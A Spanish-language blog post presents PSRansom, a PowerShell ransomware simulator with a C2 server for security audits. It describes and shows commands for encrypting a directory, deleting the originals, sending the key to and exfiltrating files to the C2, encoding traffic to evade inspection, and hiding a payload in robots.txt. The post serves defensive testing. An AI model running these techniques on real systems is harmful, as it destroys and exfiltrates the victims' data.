Muy buenas a todos!

Esta semana vuelvo (otra vez más) con otro proyecto entre manos. En esta ocasión, se trata de una pequeña herramienta llamada PSRansom, que nos permitirá simular la infección de un ransomware genérico utilizando únicamente PowerShell. Además, podremos simular la exfiltración de ficheros a través de su propio C2, e incluso, emplear ambas partes tanto desde Windows, como desde Linux.


Actualmente, existen muchos tipos de malware en Internet: desde virus y troyanos hasta spyware o ransomware. En nuestro caso, nos centraremos en este último.

Es sabido por todos aquellos que nos dedicamos a la ciberseguridad, la cantidad de campañas de ransomware que aparecen cada día. Para aquellos que no están familiarizados con el concepto, un ransomware es un tipo de programa dañino que restringe el acceso a determinadas partes o archivos del sistema operativo infectado y pide un rescate a cambio de quitar esta restricción.

Normalmente, esta acción se realiza a través de un mecanismo de cifrado, que debido a su robustez, complica el proceso de recuperación a través de fuerza bruta o diccionario. De esta forma, los atacantes se aseguran que la víctima prefiera pagar el rescate con tal de no perder su información.

En ningún caso y bajo ninguna circunstancia, es recomendable caer en esta trampa. Ya que el hecho de pagar un rescate, fomentaría al atacante para lucrarse de nuevo con otras víctimas. Por ello, la mejor solución es tener múltiples copias de seguridad y un buen plan de contingencia.

Ahora bien, como podemos prepararnos ante tal situación? Además de tener al día nuestros sistemas operativos y antivirus, es importante poder comprobar si las medidas desplegadas en una organización son efectivas contra este tipo de ataques.

Evidentemente, existen muchas maneras de simular un ransomware, tanto de forma comercial como gratuita. En mi caso, no encontré ninguna solución que se adaptase a mis necesidades y decidí crear mi propia herramienta.

Para este caso particular, necesitaba lo siguiente:

• Ejecutar todo o parte del proceso en memoria
• Simular el cifrado de fichero con suficiente robustez
• Eliminar los ficheros originales tras el cifrado
• Enviar la clave de recuperación al servidor C2
• Exfiltrar los ficheros cifrados al servidor C2
• Compatibilidad tanto con Windows como con Linux
• Posibilidad de recuperar los ficheros originales

Una vez claros mis objetivos, me puse manos a la obra y así nació la herramienta que hoy os traigo en el blog: PSRansom – PowerShell Ransomware Simulator with C2 Server

A continuación os dejo el link de la herramienta en GitHub para más información: https://github.com/JoelGMSec/PSRansom

Ahora que ya conocemos un poco mejor a PSRansom, veamos cómo funciona 😋

En primer lugar, este proyecto está hecho íntegramente en PowerShell, por lo que necesitaremos instalarlo en nuestro sistema si no estamos utilizando Windows. En mi caso, utilizaré Kali Linux, por lo que los comandos de instalación podrían no servirte si usas otra distribución.

Para empezar, descargaremos el proyecto e instalaremos PowerShell con los siguientes comandos:

sudo apt install powershell -y
git clone https://github.com/JoelGMSec/PSRansom

Una vez descargado el proyecto, contaremos con dos scripts: PSRansom y C2Server. El primero será el que simulará la infección de ransomware, mientras que el segundo, será el encargado de recuperar los ficheros y la clave de recuperación de los mismos.

A continuación, veremos qué puede ofrecernos el ransomware y posteriormente, jugaremos con el command & control. Antes de comenzar, consultaremos la ayuda utilizando el parámetro -h de la siguiente forma:

Tal y como podemos ver en la imagen anterior, el uso de la herramienta es completamente trivial. Solo tenemos que indicar el directorio que queremos cifrar, la IP o hostname del servidor C2 y el puerto que recibirá la conexión.

Si adicionalmente, queremos enviar los ficheros cifrados, solamente tendremos que añadir el parámetro -x al final del comando. Por último, si queremos descifrar, indicaremos el directorio en cuestión y la clave de recuperación.

Para que resulte más sencillo, veremos algunos ejemplos a continuación. En primer lugar, definiremos el escenario de la siguiente forma:

• El ransomware se ejecutará en una máquina Windows
• La carpeta que vamos a cifrar se encuentra en C:\Backup
• El servidor C2 se ejecutará en una Kali Linux
• Todo el tráfico pasará por un proxy para verlo en detalle

Ahora que ya tenemos claro el entorno de simulación, vamos a ponerlo en práctica. Lo primero que haremos, será consultar la ayuda del C2 para ver qué opciones tenemos:

Como podemos comprobar de nuevo, el uso del servidor command & control también es muy sencillo. Solamente necesitaremos indicar la interfaz que escuchará la conexión y el puerto que recibirá la misma. En mi caso, escucharé en todas las interfaces y utilizaré el puerto 80 con el siguiente comando:

pwsh C2Server.ps1 + 80

Si todo ha ido bien, deberíamos de ver algo parecido a la imagen anterior. Recordad que para escuchar en todas las interfaces, necesitaremos los máximos privilegios del sistema.

A continuación, ejecutaremos el proceso de cifrado y exfiltración con el siguiente comando:

.\PSRansom.ps1 -e Directorio -s ServidorC2 -p Puerto -x

Para llevar a cabo este proceso, se generará una clave aleatoria de 24 caracteres alfanuméricos (minúsculas, mayúsculas y números), se cifrarán los datos en AES256 y se enviará la clave de recuperación al servidor C2.

Una vez terminado el proceso, los ficheros originales se eliminarán y solamente se conservarán aquellos que estén cifrados:

Si nos vamos al otro extremo, donde se encuentra nuestro servidor C2, deberíamos haber recibido algo similar a esto:

Como podemos comprobar en la anterior captura, recibiremos la información de la víctima, la clave de recuperación, un listado de los ficheros cifrados y los mismos, si hemos utilizado el parámetro para exfiltrar información:

Ya que a través de la consola no podemos ver «lo que está pasando bajo el capó», he utilizado un proxy para interceptar el tráfico y poder mostrar con más detalle el funcionamiento de la herramienta.

Por no alargar excesivamente el artículo, os resumiré el proceso de comunicación:

• Se comprueba si el C2 está operativo (/status)
• Si lo está, se envía la información de la víctima (/data)
• Adicionalmente, se manda la clave de recuperación (/data)
• Una vez cifrados los ficheros, se envía un log (/log)
• En caso de exfiltrar ficheros, se avisa al C2 (/files)
• Se envía cada uno de los ficheros por separado (/files/*)
• Se finaliza el proceso de comunicación (/done)

A continuación, os adjunto una imagen para mostrar como se vería el ejemplo anterior:

En cada una de las peticiones, se enviará todo el contenido de forma cifrada o encodeada para no ser detectados por ningún mecanismo de inspección de tráfico:

Adicionalmente, el propio C2 está pensado para realizar un «payload delivery» a través del fichero robots.txt:

Es decir, podríamos utilizar Invoke-Stealth para cifrar nuestro PSRansom, guardarlo como robots.txt en el mismo directorio del C2 y posteriormente descargarlo con PowerShell. Lo mejor de todo esto, es que solamente podremos llegar a este fichero desde PowerShell, siendo totalmente invisible para cualquier navegador.

Ante cualquier petición que se realice a nuestro C2, independientemente de la ruta o del método (siempre que sea GET o POST), la respuesta siempre será la página por defecto que hemos visto en la imagen anterior.

Por último, solo nos quedaría ver el caso inverso, utilizando un sistema Linux como víctima:

Ya que PowerShell no necesita utilizar ningún tipo de librería externa, no necesitaremos realizar ninguna acción adicional para que funcione de forma idéntica al sistema de Microsoft.

Si os habéis fijado bien, en este caso no he levantado el servidor C2 para mostrar lo que sucede en caso de no haber comunicación con el mismo. Básicamente, todo funcionará igual a excepción de algunas cosas:

En primer lugar, aunque hayamos solicitado exfiltrar ficheros, este proceso no se ejecutará (ya que no es posible, si no existe comunicación). Seguidamente, tanto la clave de recuperación como el fichero de log, se guardarán en un fichero, dentro de la ruta desde la que hayamos lanzado la herramienta.

De esta forma, se garantiza el poder recuperar los ficheros en caso de ejecución accidental o si realizamos este proceso desde una shell remota en un host que no tiene ningún tipo de comunicación.

Evidentemente, este último caso, facilitaría mucho las cosas al equipo de respuesta a incidentes, ya que la clave no estaría en memoria y sería muy fácil recuperarla para proceder al proceso de descifrado.

Como conclusión final, la herramienta se encuentra en fase «beta» y es probable que se produzcan fallos en algunos escenarios. Si encuentras alguno, no dudes en hacérmelo saber 🙂

Espero que os haya gustado y os resulte útil en vuestras próximas auditorías.

Nos vemos en la próxima!